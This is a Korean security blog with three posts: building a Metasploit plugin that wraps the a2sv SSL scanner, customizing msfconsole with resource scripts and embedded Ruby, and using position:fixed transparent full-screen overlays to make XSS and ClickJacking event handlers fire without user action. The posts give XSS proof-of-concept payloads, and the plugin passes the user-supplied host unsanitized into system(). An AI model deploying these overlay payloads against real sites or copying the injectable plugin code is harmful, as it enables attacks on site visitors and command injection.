요건 당연히 command 리스트를 의미합니다. 해당 모듈에서 사용하는 command고 load 후 help 명령 시 여기에 들어간 부분들도 노출되게 됩니다.

def commands
 {
  "sample" => "A sample command added by the sample plugin"
 }
end

Write plugin code

샘플코드와 함깨 내용을 다시 보면 아래와 같습니다. 

#
# $Id$
#

module Msf

###
#
# This class illustrates a sample plugin.  Plugins can change the behavior of
# the framework by adding new features, new user interface commands, or
# through any other arbitrary means.  They are designed to have a very loose
# definition in order to make them as useful as possible.
#
# $Revision$
###
class Plugin::Sample < Msf::Plugin

  ###
  #
  # This class implements a sample console command dispatcher.
  #
  ###
  class ConsoleCommandDispatcher
    include Msf::Ui::Console::CommandDispatcher

    #
    # The dispatcher's name.
    #
    def name
      "Sample"
    end

    #
    # Returns the hash of commands supported by this dispatcher.
    #
    def commands
      {
        "sample" => "A sample command added by the sample plugin"
      }
    end

    #
    # This method handles the sample command.
    #
    def cmd_sample(*args)
      print_line("You passed: #{args.join(' ')}")
    end
  end

  #
  # The constructor is called when an instance of the plugin is created.  The
  # framework instance that the plugin is being associated with is passed in
  # the framework parameter.  Plugins should call the parent constructor when
  # inheriting from Msf::Plugin to ensure that the framework attribute on
  # their instance gets set.
  #
  def initialize(framework, opts)  #init 부분입니다. 대체로 정상 load를 의미하는 출력을 찍죠.
                                   #초기화가 필요한 부분도 이곳에서..
    super

    # If this plugin is being loaded in the context of a console application
    # that uses the framework's console user interface driver, register
    # console dispatcher commands.
    add_console_dispatcher(ConsoleCommandDispatcher)

    print_status("Sample plugin loaded.")
  end

  #
  # The cleanup routine for plugins gives them a chance to undo any actions
  # they may have done to the framework.  For instance, if a console
  # dispatcher was added, then it should be removed in the cleanup routine.
  #
  def cleanup  # unload 시 호출되는 부분입니다. dispatcher에서 remove 해주는 내용이 들어가고
               # 종료 시 수행할 기능또한 이쪽에 들어갑니다.
    # If we had previously registered a console dispatcher with the console,
    # deregister it now.
    remove_console_dispatcher('Sample')
  end

  #
  # This method returns a short, friendly name for the plugin.
  #
  def name
    "sample"
  end

  #
  # This method returns a brief description of the plugin.  It should be no
  # more than 60 characters, but there are no hard limits.
  #
  def desc
    "Demonstrates using framework plugins"
  end

protected
end

end
위 내용 기반으로 작성.. 중입니다. (언제 다짜려나 허헣ㅎ)

require 'open3'

module Msf
class Plugin::A2SV < Msf::Plugin
  class ConsoleCommandDispatcher
    include Msf::Ui::Console::CommandDispatcher
    def name
      "a2sv"
    end
    def commands
    {
          'a2sv_host' => 'Create target information <host> [<port>]',
          'a2sv_run' => 'sqlmap_connect <host> [<port>]'
    }
    end

    #
    # This method handles the sample command.
    #
 def cmd_a2sv_run()
     query = 'a2sv -t'+@host+' -d n'
  #stdin, stdout, stderr = Open3.popen3(query)
  #puts stdout
  system(query)
 end

    def cmd_a2sv_host(*args)
        if args.length == 0
          print_error('Need a host, and optionally a port')
          return
        end
        @host, @port = args
        if !@port
          @port = '443'
        end
        print_good("Set target setting for host #{@host} on port #{@port}")
    end
  end
  #
  # The constructor is called when an instance of the plugin is created.  The
  # framework instance that the plugin is being associated with is passed in
  # the framework parameter.  Plugins should call the parent constructor when
  # inheriting from Msf::Plugin to ensure that the framework attribute on
  # their instance gets set.
  #
  def initialize(framework, opts)
    super

    # If this plugin is being loaded in the context of a console application
    # that uses the framework's console user interface driver, register
    # console dispatcher commands.
    add_console_dispatcher(ConsoleCommandDispatcher)
    print_status("a2sv plugin loaded.")
  end

    def cleanup
      remove_console_dispatcher('a2sv')
    end

    def name
      'A2SV'
    end
   
    def desc
      'SSL vulnerability scanning with a2sv'
    end
end
end
Share: | Coffee Me:

7/07/2017

[METASPLOIT] Make custom msfconsole with resource script & ruby code


오래전(?)부터 Metasploit에 대해 Custom 해서 사용하고 있었습니다. 그러던 중.. 올 초 msf의 업데이트로 문제가 생겼었죠.
(파일의 구조가 바뀌면서 Custom 코드가 꼬임..)

그래서 다시 Custom 과정을 거치던 중 재미있는 아이디어가 생각나서 포스팅 작성해봅니다.

바로 resource script 를 이용해서 어느정도 Custom 흉내를 내는 방법입니다. 물론 모든걸 할 순 없지만 귀찮았던 부분들을 rc 파일을 통해 쉽게 변형할 수 있습니다. 대체로 공격, 테스팅의 자동화를 위해 사용하는 resource script, 그리고 그 resource script 를 이용한 Custom 코드 적용에 대한 내용으로 이야기를 시작하겠습니다.

Write .rc script(text-editor or makerc command)

rc 파일을 사용하는 방법은 간단합니다. 수행할 명령행을 담은 파일을 하나 만들어주면 됩니다.

#> vim msfrc
set PROMPT NO
load wmap
clear
banner
workspace

순서대로 보면 PROMPT를 바꾸고 wmap을 로드한 후 banner 띄우고 workspace를 보여주도록 저장해뒀습니다.

또 다른 방법으로 rc 파일을 생성할 수 있는데.. 바로 msf의 makerc 명령을 이용하는 것입니다.
makerc 명령은 최근 수행한 msf 내 명령을 기록하여 파일로 만들어줍니다. (사실 이건 오히려 rc의 원래 목적인 자동화 테스팅에서 많이 쓰는 부분이죠)
2.rc 라는 파일을 만들어보면..

NO> makerc ./2.rc
[*] Saving last 4 commands to ./2.rc ...

최근에 수행한 4개의 명령이 아래와 같이 저장됨을 알 수 있습니다.

#> cat 2.rc
set PROMPT NO
load wmap
clear
banner

자 그럼 이제 msf를 실행할 때 rc 파일이 불러와지도록 해볼까요?

Run Metasploit with .rc file

msfconsole은 여러 인자값을 받을 수 있습니다. 물론 많은 사용자들이 인자값을 안주고 그냥 console만 열지만.. 조금만 더 시간을 투자하신다면 더 편하고 빠르게 초기 세팅을 할 수 있습니다. 바로 -r 옵션을 이용하여 실행 시 load 할 rc 파일을 지정할 수 있습니다. (rc 자주 쓰시면 익숙한 옵션이죠)

#> ./msfconsole -r [rc path]
[....]

[*] Processing ./1.rc for ERB directives.
resource (./1.rc)> set PROMPT NO
PROMPT => NO
resource (./1.rc)> clear
[*] exec: clear
[....]

위 같은 형태로 rc 파일로 인해 빠르게 환경 세팅이 가능합니다.

Ruby code in resource script

제 대부분의 Custom 과정은 Ruby 코드를 직접 작성하는 것으로 이루어집니다. 그럼 하나 고민이 생기겠네요. resource script 에도 ruby 코드 사용이 가능할까?
운이 좋게도 msf 전반적으로 ruby를 지원하기 때문에 resource script 에서도 ruby 코드를 적용할 수 있습니다.
html 처럼 <ruby> 태그를 통해 ruby 코드 작성이 가능합니다. 이것도 사실 공격 수행과정의 자동화를 위해 많이 사용하지만.. 잘 활용하면 나만의 msf를 만드는데 굉장한 도움을 줄 수 있습니다. 아래 rc 파일을 보죠.

#> ssl.rc

use auxiliary/scanner/http/ssl_version
set THREAD 6

<ruby>
framework.db.hosts.each do |host|
  host.services.each do |service|
    if service.name == "https" and service.state == "open"
      self.run_single("set RHOSTS #{host.address}")
      self.run_single("set RPORT #{service.port}")
      self.run_single("run")
    end
  end
end
</ruby>
원래는 msf에서 중간에 불러와 사용하는 rc 입니다. 간단하게 https 가 열려있는지 확인하고 open이면 ip와 port 를 세팅해서 테스트하죠.
NO> resource ./ssl.rc

이런 과정을 msf가 켜질 때 사용할 수 있는겁니다. 물론 테스트에 대한 ruby 코드가 아닌.. 우리만의 msf를 위한 Custom 코드이겠지요.

#> cat custom.rc

setg Prompt "SHELL(Sessions: %S Jobs: %J)"
clear
banner

<ruby>
require 'rss'
rss = RSS::Parser.parse("https://rss.packetstormsecurity.com/files/tags/exploit/", false)
rss.items.each do |item|
  puts "#{item.pubDate} - #{item.title}"
end
</ruby>
간단하게 rss feed 읽어오는 코드로 추가했습니다. (개인 스타일에 맞춰 만들어 나간다면.. 아주 좋은 msf가 되겠지요)

#> ./msfconsole -r custom.rc

[....]
       =[ metasploit v4.15.0-dev-aceeedc                  ]
+ -- --=[ 1666 exploits - 956 auxiliary - 294 post        ]
+ -- --=[ 486 payloads - 40 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] resource (custom.rc)> Ruby Code (174 bytes)
Fri, 07 Jul 2017 03:49:16 +0000 - Solarwinds LEM 6.3.1 Hardcoded Credentials
Fri, 07 Jul 2017 03:47:12 +0000 - Barracuda WAF V360 Firmware 8.0.1.014 Support Tunnel Hijack
Thu, 06 Jul 2017 23:58:22 +0000 - Barracuda WAF V360 Firmware 8.0.1.014 Username / Session ID Leak
Thu, 06 Jul 2017 23:56:33 +0000 - Barracuda WAF V360 Firmware 8.0.1.014 Grub Password Complexity
Thu, 06 Jul 2017 23:55:55 +0000 - Barracuda WAF V360 Firmware 8.0.1.014 Credential Disclosure
Thu, 06 Jul 2017 23:02:22 +0000 - Barracuda WAF V360 Firmware 8.0.1.014 Early Boot Root Shell
Thu, 06 Jul 2017 11:11:11 +0000 - LibTIFF 4.0.7 _TIFFVGetField (tiffsplit) Out-Of-Bounds Read
Thu, 06 Jul 2017 10:44:44 +0000 - LibTIFF 4.0.8 tif_jbig.c Denial Of Service
Thu, 06 Jul 2017 10:01:11 +0000 - LibTIFF tif_dirwrite.c Denial Of Service
Wed, 05 Jul 2017 17:32:22 +0000 - Lepide Auditor Suite Remote Code Execution
Wed, 05 Jul 2017 14:57:28 +0000 - GoAutoDial 3.3 Authentication Bypass / Command Injection
Wed, 05 Jul 2017 14:47:42 +0000 - PDNS Manager Remote Command Execution
Wed, 05 Jul 2017 14:45:21 +0000 - IoT mDNS/DNS-SD QM Amplification Distributed Denial Of Service
Wed, 05 Jul 2017 14:44:07 +0000 - rpcinfo Portmap DUMP Call Amplification Distributed Denial Of Service
Tue, 04 Jul 2017 02:02:02 +0000 - Yaws 2.0 Cross Site Scripting
Mon, 03 Jul 2017 18:32:22 +0000 - OpenDreamBox 2.0.0 Remote Code Execution
Mon, 03 Jul 2017 15:55:55 +0000 - Xenforo Forum CMS 1.5.13 Cross Site Scripting
Mon, 03 Jul 2017 15:44:44 +0000 - InsomniaX 2.1.8 Arbitrary Kernel Extension Loading
Mon, 03 Jul 2017 14:44:44 +0000 - Webmin 1.840 Cross Site Scripting
Mon, 03 Jul 2017 12:12:12 +0000 - Humax Digital HG100R 2.0.6 XSS / Information Disclosure
Mon, 03 Jul 2017 01:11:11 +0000 - Australian Education App Remote Code Execution
Mon, 03 Jul 2017 01:03:33 +0000 - BestSafe Browser FREE NoAds 3 Remote Code Execution
Mon, 03 Jul 2017 00:00:02 +0000 - BOA Web Server 0.94.14rc21 Arbitrary File Access
Sun, 02 Jul 2017 18:32:22 +0000 - eVestigator Forensic PenTester Remote Code Execution
Sun, 02 Jul 2017 13:02:22 +0000 - DoorGets CMS 7.0 Open Redirect
SHELL(Sessions: 0 Jobs: 0)>

잘 읽어오네요!

처음 공개하는 것 같네요. 물론 예전만큼은 안되지만 천천히 복구중입니다 하핳..

Reference

http://www.hahwul.com/2017/05/metasploit-msfconsole-prompt.html
https://rss.packetstormsecurity.com/files/tags/exploit/
Share: | Coffee Me:

[WEB HACKING] Easily trigger event handler for XSS/ClickJacking" using CSS(or stylesheet)

Intro

XSS는 영향력 대비 발견 가능성이 높은 취약점입니다. 또한 다른 Code base(Injection 등)의 취약점과 같이 연구하는 재미도 쏠쏠하고
사람에 따라 뚫을 수 있는 범위가 확실히 드러나는 취약점이기도 하죠.

오늘은 XSS나 ClickJacking의 영향력을 좀 더 강하게 발휘하는 방법에 대해 이야기할까 합니다.





대표적으로 아래와 같은 XSS 들은 즉시 발동이 가능하여 사용자의 액션없이도 스크립트 실행이 가능합니다.

<script>alert(45)</script>
<img src="z" onerror=alert(45)>
<svg/onload=alert(45)>
등등..

그러나 필터링 조건에 따라 우리는 아래와 같은 코드로 구성하는 경우도 많습니다.

<img src="z" onmouseover=alert(45)>
<input type="text" value="your input" onmouseenter=alert(45) a="">
때론.. <a> 태그로 장난을 치기도 하죠. (다만 모바일에서 보면 링크 내용을 볼 수 없어 낚이기 쉽다는..)

<a href="javascript:alert(45)">
이런 종류의 코드들은.. 마우스를 위로 가져간다던가, 사용자의 클릭이 필요한다는 둥 이벤트 핸들러를 만족하기 위한 조건이 필요합니다.
그래서 맨위 즉시 발동이 가능한 코드에 비해 영향력이 떨어지긴하죠.

CSS와 약간의 트릭을 이용해 우리는 XSS를 조금 더 완성 시킬 수 있습니다. (영향력 강화! / 그래야 개발자가 더 잘 고친다는 소문이..)

position:fixed

첫번째로 이야기드릴 것은 CSS의 position 입니다. 웹 UI나 Design에 관심이 있으시면 익숙하겠지요. position은 웹 상에서의 위치를 의미합니다.
기본적으로는 마치 스택과 같이 DOM 영역에 차곡차곡 쌓이게 되나 position을 이용해서 위치를 고정하거나, 다른형태로 유지할 수 있습니다.

static - 기본값으로 위치정보를 임의로 설정 해줄 수 없다.
absolute - 절대위치로, 문서 최 좌측상단을 기준으로 위치정보를 설정하며 스크롤시 이동한다.
relative - 상대위치로, static 위치 사용시 있던 위치를 기준으로 이동한다.
fixed - 위치 고정으로, 스크롤과 상관없이 항상 문서 최 좌측상단을 기준으로 좌표가 설정되어있다.
inherit  - 부모 태그의 속성값을 상속받게 된다.
http://div.or.kr/css-studying/position%20%EC%86%8D%EC%84%B1

속성에 들어가는 값은 위와같이 여러가지가 있습니다. 우리는 이 중 fixed에 주목해야합니다.
position:fixed는 해당 object를 DOM 영역에 고정시킬 수 있습니다. 대표적으로 많이 쓰이는게.. 스크롤을 내려도 고정된 메뉴창 이런곳이죠.

그럼 간단하게 코드를 하나 만들어볼까요?

<div style="position:fixed; top:20px; left:30px">
  하하하하
</div>
하하하하 가 웹 페이지 좌측 상단쯤에 고정될겁니다. 우리는 이걸 약간 공격에 활용할 수 있습니다.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
  <img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
이렇게 되면.. <img> 태그가 좌측 상단 시작점(0,0)에 고정되고 너비,높이 모두 100%로 전체 화면을 채우는 이미지 영역이 생기게 됩니다.
이 영역에 마우스가 올라간 순간 alert() 함수는 동작하게 되죠. 그러면 피해자는 페이지에 접근하는 것 만으로도 별다른 액션없이 스크립트가 동작하게 됩니다.

이런 형태로 조금 더 영향력을 올릴 수 있습니다.

transparent layer

위에 내용을 조금 더 응용하면 재미있는 걸 할 수 있습니다. 바로 투명한 레이어를 만드는겁니다. 방법은 여러가지가 있겠지만.. 아까 헀던 코드 기준으로 설명드리죠.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
  <img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
와 같이 전체를 덮는 코드가 있다면 img의 src를 투명한 이미지로 주어 사용자를 낚을 수 있습니다.
구글에 transparent background 나 transparent image 로 검색하면 많이 나옵니다.

그럼 하나의 더 고민이 생깁니다. 이미지 태그가 아니면 어떻게하죠?

그럴 경우 background-image를 이용해서 투명한 이미지를 영역의 배경화면으로 로드하거나 의미없는 문자를 사용하여 마치 투명한 창처럼 위장할 수 있습니다.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;background-image:url('투명이미지주소');">
<a href="javascript:alert(45)"><a/>
</div>
또는...

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;">
<a href="javascript:alert(45)">                           <a/>  <!--저 안의 공백은 &#x00;(ㄱ>한자>1)입니다.   -->
</div>                                                          <!-- 일반적인 space bar(&#x20;)과는 다르죠 --> 


이런 형태의 트릭이 가능하죠. <img>의 영역은 아주 작지만, div의 css로 인해 페이지 접근 시 무조건 나타납니다.

class or id in style tag/css file

마지막으로 최근에 생각난 좋은 방법입니다. 웹 사이트에는 많은 CSS들이 사용되고 있습니다. 그 중에는 분명 fixed를 이용하거나 100%, 100%등 크기에 관련된 css 들이 많습니다. 대표적으로 GNB, LNB, SNB 등 고정메뉴에 사용되죠.

사용할 수 있는 속성이나 문자에 제한이 있을 때 우리는 이 CSS를 사용하여 위처럼 꾸밀 수 있습니다.

예를들어..

.iamGNB{
position:fixed;
left:0;
top:0;
}

#iamGNB2{
position:fixed;
left:0;
top:0;
}

<div class="iamGNB"> <!-- .이나 그냥 작성되면 class -->
<a href="javascript:alert(45)"><a/>
</div>

<div class="iamGNB2"> <!-- #의 경우는 id -->
<a href="javascript:alert(45)"><a/>
</div>
이런 형태로 css가 정의되어 있다고 하면 각 태그에서 class나 id로 적용시킬 수 있습니다.

Reference

http://div.or.kr/css-studying/position%20%EC%86%8D%EC%84%B1
Share: | Coffee Me: